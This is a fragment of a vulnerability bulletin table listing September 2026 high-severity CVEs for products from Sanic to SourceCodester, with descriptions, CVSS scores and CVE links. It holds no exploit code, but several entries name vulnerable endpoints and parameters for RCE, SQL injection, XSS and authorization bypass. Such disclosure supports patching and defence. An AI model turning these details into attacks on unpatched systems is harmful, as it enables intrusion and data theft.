&lt;td class=&quot;vendor-product&quot;&gt;sanic-org--sanic&lt;/td&gt;
&lt;td&gt;Sanic is an opensource python web server/framework. Prior to version 24.12.1, and in version 25.12.0, the HTTP/1.1 response pipeline in sanic/response/types.py serializes response header names and values without rejecting carriage-return or line-feed characters. Applications that place attacker-controlled data in response.headers, file(..., filename=...), or cookie path and domain attributes can therefore emit injected headers and may split responses. Depending on application and proxy behavior, this can enable session fixation through injected cookies, cache poisoning, or security-header corruption. This issue is fixed in versions 24.12.1 and 25.12.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85077&quot; target=&quot;_blank&quot;&gt;CVE-2026-85077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Scada-LTS--Scada-LTS&lt;/td&gt;
&lt;td&gt;ScadaLTS 2.8.1-release-candidate build 0 is affected by an&amp;nbsp;Authenticated Remote Code Execution via Scripting Sandbox Bypass The DWR &quot;DataSourceEditDwr&quot; class exposes the &quot;validateScript&quot; method that compiles and executes attacker-supplied JavaScript via the Rhino scripting engine. There are no authorization checks on this method and so it is possible for an attacker with access to a low privilege user to abuse this flaw by leveraging the DWR routing bypass.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84858&quot; target=&quot;_blank&quot;&gt;CVE-2026-84858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Scada-LTS--Scada-LTS&lt;/td&gt;
&lt;td&gt;ScadaLTS 2.8.1-release-candidate build 0 is affected by an&amp;nbsp;Authorization Bypass Spring Security gates DWR endpoints by URL path pattern, but DWR itself dispatches method calls based on the POST body parameters c0-scriptName and c0-methodName. The crossDomainSessionSecurity setting in web.xml is set to false, which disables DWR&#039;s built-in origin validation. This means any authenticated user can invoke any DWR method (regardless of the URL-based access control) by sending their request to a URL they are permitted to access (e.g. MiscDwr.initializeLongPoll.dwr) while targeting a restricted class in the POST body. This is the systemic root cause that enables multiple other findings to be exploited as a low privilege user.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84860&quot; target=&quot;_blank&quot;&gt;CVE-2026-84860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sebwordpress--The Welcomizer&lt;/td&gt;
&lt;td&gt;The The Welcomizer plugin for WordPress is vulnerable to Remote Code Execution in all versions up to and including 2.8.1. This is due to missing authorization checks on the twiz_ajax_callback AJAX action&#039;s &#039;savesection&#039; handler combined with the use of eval() to execute user-supplied &#039;custom logic&#039; code on the frontend. The AJAX handler at twiz-ajax.php verifies a nonce but performs no current_user_can() capability check for the ACTION_SAVE_SECTION case. Furthermore, the nonce is exposed to any authenticated user through the directly-accessible twiz-ajax.js.php file which loads WordPress and outputs the nonce. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary PHP code via the twiz_custom_logic POST parameter when saving a section with output choice &#039;twiz_logic_output&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4327&quot; target=&quot;_blank&quot;&gt;CVE-2026-4327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Secomea--GateManager&lt;/td&gt;
&lt;td&gt;Session fixation vulnerability in Secomea GateManager (webserver module) allows Session Fixation. This issue affects GateManager: 11.5;0, 11.4.625515072:0. Fixed in Version 11.6 or&amp;nbsp;11.4.626194074 and above&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1758&quot; target=&quot;_blank&quot;&gt;CVE-2026-1758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. Versions starting in 3.1.0 and prior to 7.0.0 insert the unsanitized value of a data attribute into the DOM as HTML, allowing for stored XSS through wikitext. Version 7.0.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-61682&quot; target=&quot;_blank&quot;&gt;CVE-2025-61682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sgl-project--sglang&lt;/td&gt;
&lt;td&gt;SGLang through 0.5.19 in prefill/decode disaggregation mode contains an unauthenticated PUT /route endpoint on the prefill bootstrap service that allows attackers to poison the KV transfer routing table. Attackers can supply arbitrary rank_ip and rank_port values to redirect decode workers to attacker-controlled endpoints, causing denial of service or disclosure of KV transfer metadata including session identifiers and tensor-parallel topology parameters.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92972&quot; target=&quot;_blank&quot;&gt;CVE-2026-92972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sgl-project--sglang&lt;/td&gt;
&lt;td&gt;SGLang through 0.5.19 in prefill/decode disaggregation mode with Mooncake KV transfer backend fails to validate bootstrap_room values, allowing unbounded transfer state allocation. Unauthenticated attackers can reach the decode engine&#039;s POST /generate endpoint and submit arbitrary bootstrap_room values to exhaust prefill process memory until out-of-memory termination.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93688&quot; target=&quot;_blank&quot;&gt;CVE-2026-93688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sh1zen--Multi Uploader for Gravity Forms&lt;/td&gt;
&lt;td&gt;The Multi Uploader for Gravity Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.1.9 via the move_file function. This is due to insufficient file type validation during chunked upload handling. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site&#039;s server which may make remote code execution possible.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87796&quot; target=&quot;_blank&quot;&gt;CVE-2026-87796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ShaneIsrael--fireshare&lt;/td&gt;
&lt;td&gt;Fireshare facilitates self-hosted media and link sharing. Prior to version 1.6.14, an argument Injection in the video upload function allows unauthenticated attacker to write/overwrite system files. Version 1.6.14 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54337&quot; target=&quot;_blank&quot;&gt;CVE-2026-54337&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ShaneIsrael--fireshare&lt;/td&gt;
&lt;td&gt;Fireshare facilitates self-hosted media and link sharing. Prior to version 1.6.16, two API endpoints that trigger outbound HTTP requests are missing the @login_required decorator. An unauthenticated attacker can call POST /api/test-discord-webhook or POST /api/test-webhook and cause the Fireshare server to issue an arbitrary HTTP POST to any URL the attacker supplies, including internal network addresses and cloud metadata services. No credentials, session cookies, or prior access are required. Version 1.6.16 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54544&quot; target=&quot;_blank&quot;&gt;CVE-2026-54544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shopperlabs--shopper&lt;/td&gt;
&lt;td&gt;Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make(&#039;delete&#039;) and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56825&quot; target=&quot;_blank&quot;&gt;CVE-2026-56825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shopperlabs--shopper&lt;/td&gt;
&lt;td&gt;Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, groupedBulkActions in packages/admin/src/Livewire/Pages/Attribute/Browse.php, packages/admin/src/Livewire/Pages/Tag/Index.php, packages/admin/src/Livewire/Pages/Brand/Index.php, packages/admin/src/Livewire/Pages/Category/Index.php, and packages/admin/src/Livewire/Pages/Supplier/Index.php omit server-side authorization while the pages require only browse_attributes, browse_tags, browse_brands, browse_categories, or browse_suppliers. A browse-only staff user can invoke DeleteBulkAction to mass delete attributes or tags and can invoke BulkAction::make(&#039;enabled&#039;) or BulkAction::make(&#039;disabled&#039;) to change attribute, brand, category, or supplier visibility. These operations can break product variants and substantially disrupt storefront catalog visibility. Per-record actions and the comparison pages identified by the advisory are correctly authorized and are not affected. This issue is fixed in version 2.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56827&quot; target=&quot;_blank&quot;&gt;CVE-2026-56827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shopperlabs--shopper&lt;/td&gt;
&lt;td&gt;Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56829&quot; target=&quot;_blank&quot;&gt;CVE-2026-56829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shortpixel--ShortPixel Image Optimizer Optimize Images, Convert WebP &amp;amp; AVIF&lt;/td&gt;
&lt;td&gt;The ShortPixel Image Optimizer - Optimize Images, Convert WebP &amp;amp; AVIF plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.5.5 via deserialization of untrusted input . This makes it possible for authenticated attackers, with author-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17086&quot; target=&quot;_blank&quot;&gt;CVE-2026-17086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Shuffle--Shuffle&lt;/td&gt;
&lt;td&gt;Shuffle through 2.2.1 contains a cross-tenant privilege escalation vulnerability in the HandleApiGeneration endpoint that allows administrators to reset and read API keys of non-administrator users in other organizations. Attackers with admin privileges in one organization can supply arbitrary user IDs to generate valid API keys for users in different organizations, enabling account takeover across tenant boundaries.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92716&quot; target=&quot;_blank&quot;&gt;CVE-2026-92716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siderolabs--omni&lt;/td&gt;
&lt;td&gt;Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.6.6 and from 1.7.0 until 1.7.3, SAML.getSession in internal/pkg/auth/interceptor/saml.go checks SAMLAssertion.Used and marks it used in separate state operations. Concurrent requests carrying the same captured saml-session token can each observe the assertion as unused and obtain authentication as the victim before either update is visible. The attacker can invoke SAML-protected gRPC endpoints, use ConfirmPublicKey to create multiple persistent credentials tied to the victim, and generate audit entries attributed to the victim, with the resulting access potentially affecting confidentiality, integrity, and availability according to the victim&#039;s privileges. This issue is fixed in versions 1.6.6 and 1.7.3.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45720&quot; target=&quot;_blank&quot;&gt;CVE-2026-45720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siderolabs--omni&lt;/td&gt;
&lt;td&gt;Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. From 1.3.0 until 1.6.6 and 1.7.3, importing a standalone Talos cluster creates an ImportedClusterSecrets resource containing the cluster&#039;s complete CA secrets bundle. The access rules in internal/backend/runtime/omni/state_access.go allow an authenticated user with the Reader role to retrieve the resource through ResourceService if the importing actor has not rotated those secrets, exposing Kubernetes, Talos, and etcd CA private keys plus the service-account key. The Kubernetes CA private key permits certificate signing for privileged identities such as system:masters and provides control of the imported cluster outside Omni&#039;s authorization boundary, including its workloads, credentials, and secrets. This issue is fixed in versions 1.6.6 and 1.7.3.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45726&quot; target=&quot;_blank&quot;&gt;CVE-2026-45726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SigNoz--signoz&lt;/td&gt;
&lt;td&gt;SigNoz versions 0.88.0 through 0.141.0 fail to apply authorization wrappers to trace-funnel analytics endpoints in the HTTP handler. Unauthenticated attackers can submit arbitrary funnel definitions to retrieve trace analytics including identifiers, durations, span counts, service topology, and error activity without credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92729&quot; target=&quot;_blank&quot;&gt;CVE-2026-92729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SigNoz--signoz&lt;/td&gt;
&lt;td&gt;SigNoz versions from 0.88.0 before 0.142.1 contain a SQL injection vulnerability in trace-funnel analytics endpoints that interpolate service_name and span_name fields into ClickHouse string literals without escaping. Authenticated attackers can inject SQL through funnel step definitions to execute arbitrary queries and read results in HTTP responses.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93292&quot; target=&quot;_blank&quot;&gt;CVE-2026-93292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SigNoz--signoz&lt;/td&gt;
&lt;td&gt;SigNoz versions 0.87.0 before 0.142.0 fail to escape user-supplied telemetry field-key names in the v5 query_range API, allowing authenticated users to inject SQL. Attackers with Viewer role or higher can embed backticks and quotes in field names to break out of identifiers and string literals, executing arbitrary ClickHouse SQL to read system tables and exfiltrate data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93426&quot; target=&quot;_blank&quot;&gt;CVE-2026-93426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SIMAC--MyPHR&lt;/td&gt;
&lt;td&gt;SIMAC MyPHR 1.1 contains an insecure direct object reference (IDOR) vulnerability that allows authenticated attackers to access and modify arbitrary employee records due to missing server-side ownership validation. Attackers can send a PUT request to the employee update endpoint with an arbitrary employee identifier and a controlled password value to take over target accounts, enumerate employee records, and retrieve sensitive personally identifiable information including private pay bulletins.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47094&quot; target=&quot;_blank&quot;&gt;CVE-2026-47094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sipsorcery-org--sipsorcery&lt;/td&gt;
&lt;td&gt;SIPSorcery is a WebRTC, SIP, and VoIP library for C# and .NET. Prior to 10.0.9, RTPChannel.OnRTPPacketReceived and the STUNAttribute.ParseMessageAttributes, STUNXORAddressAttribute, and STUNAddressAttribute parsing path index untrusted bytes without sufficient length checks, while UdpReceiver.EndReceiveFrom closes the channel when those operations raise a non-socket exception. A remote party can send a single short RTP packet or malformed zero-to-seven-byte STUN address attribute to the shared RTP/ICE socket, including during ICE connectivity checks before DTLS or STUN MESSAGE-INTEGRITY verification, and terminate the active RTP or WebRTC media session. The attacker must reach or learn the advertised ephemeral RTP/ICE port, but no authentication or user interaction is required, and the impact is limited to availability. This issue is fixed in version 10.0.9.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54632&quot; target=&quot;_blank&quot;&gt;CVE-2026-54632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before 3.8.4 fail to escape bookmark labels imported from notebook files when rendering them in the dock tree. Attackers can craft malicious .sy notebook files with unescaped HTML in bookmark attributes that execute scripts in the Electron renderer with access to child_process for command execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92985&quot; target=&quot;_blank&quot;&gt;CVE-2026-92985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before 3.8.4 renders document titles as HTML in the backlink dock tree without escaping markup characters. Attackers can set malicious titles through the rename API or crafted notebooks to execute scripts in the Electron renderer with access to child_process for command execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92986&quot; target=&quot;_blank&quot;&gt;CVE-2026-92986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan through 3.8.4 renders notebook names as raw HTML in the Daily Note picker dialog without escaping, allowing stored cross-site scripting in the Electron renderer. Attackers can create notebooks with HTML payloads in names that execute JavaScript with Node.js access when the picker opens, enabling operating system command execution.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93922&quot; target=&quot;_blank&quot;&gt;CVE-2026-93922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan through 3.8.4 fails to escape heading style attributes when rendering outline and bookmark dock HTML, allowing stored cross-site scripting. Attackers can supply crafted notebooks or call administrative endpoints to inject malicious style values that execute in the Electron renderer with full system access.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93923&quot; target=&quot;_blank&quot;&gt;CVE-2026-93923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before 3.8.3 contain an SQL injection vulnerability in the graph.go query2Stmt function where tag values are concatenated raw into SQL string literals without escaping single quotes. A publish-mode reader or anonymous visitor can inject SQL via inline HTML span tags in the getGraph endpoint to execute arbitrary queries on the read-write database and exfiltrate private data across notebooks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93591&quot; target=&quot;_blank&quot;&gt;CVE-2026-93591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;snail007--goproxy&lt;/td&gt;
&lt;td&gt;goproxy through 15.3 fails to apply HTTP proxy basic authentication to CONNECT tunnel requests, allowing unauthenticated clients to bypass credential requirements. Attackers can issue CONNECT requests to establish tunnels through the authenticated proxy without providing credentials, enabling arbitrary TCP traffic relay and access to restricted destinations.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91143&quot; target=&quot;_blank&quot;&gt;CVE-2026-91143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Snowflake--Snowflake CLI&lt;/td&gt;
&lt;td&gt;Improper input validation in Snowflake CLI versions prior to 3.27.0 allowed unsanitized user-controlled values to be interpolated into SQL strings that are executed as multi-statement queries. An attacker who is able to supply a malicious project configuration file or craft command-line input can cause Snowflake CLI to execute attacker-controlled SQL statements in the context of the victim&#039;s Snowflake session and active role. Successful exploitation requires either write or pull-request access to a project repository whose CI/CD pipeline runs Snowflake CLI under an elevated service account role, or the ability to supply untrusted input to CLI-wrapping automation. Impact is limited by the privileges held by the configured Snowflake role at execution time. The fix is available in Snowflake CLI version 3.27.0, which also addresses several additional security findings. Users must manually upgrade.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92903&quot; target=&quot;_blank&quot;&gt;CVE-2026-92903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Soarkey--StudentManagement&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Soarkey StudentManagement up to e08f7f1d5015af407aa4cca0ada3dea189b4937e. Affected is the function RegisterServlet.doPost of the file code/WebContent/register.html of the component Registration Workflow. Such manipulation of the argument level leads to improper privilege management. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90787&quot; target=&quot;_blank&quot;&gt;CVE-2026-90787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SolarWinds--Access Rights Manager&lt;/td&gt;
&lt;td&gt;SolarWinds Access Rights Manager was reported to be affected by an unauthenticated remote code execution vulnerability. The issue stems from a hardcoded static key.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28326&quot; target=&quot;_blank&quot;&gt;CVE-2026-28326&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sonal S Sinha--SKT Addons for Elementor&lt;/td&gt;
&lt;td&gt;Editor SQL Injection in SKT Addons for Elementor &amp;lt;= 4.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66626&quot; target=&quot;_blank&quot;&gt;CVE-2026-66626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant&#039;s data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller&#039;s environment. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73496&quot; target=&quot;_blank&quot;&gt;CVE-2026-73496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sosedoff--pgweb&lt;/td&gt;
&lt;td&gt;pgweb through 0.17.0 leaves the POST /api/connect endpoint unguarded when connect-backend authorization is configured, allowing attackers to supply arbitrary database connection strings. Attackers can bypass the resource-to-database mapping by providing a custom session identifier and connection URL to access unauthorized databases and internal services.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91924&quot; target=&quot;_blank&quot;&gt;CVE-2026-91924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--College Notes Gallery Management System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SourceCodester College Notes Gallery Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /College/login.php. The manipulation of the argument User leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90849&quot; target=&quot;_blank&quot;&gt;CVE-2026-90849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
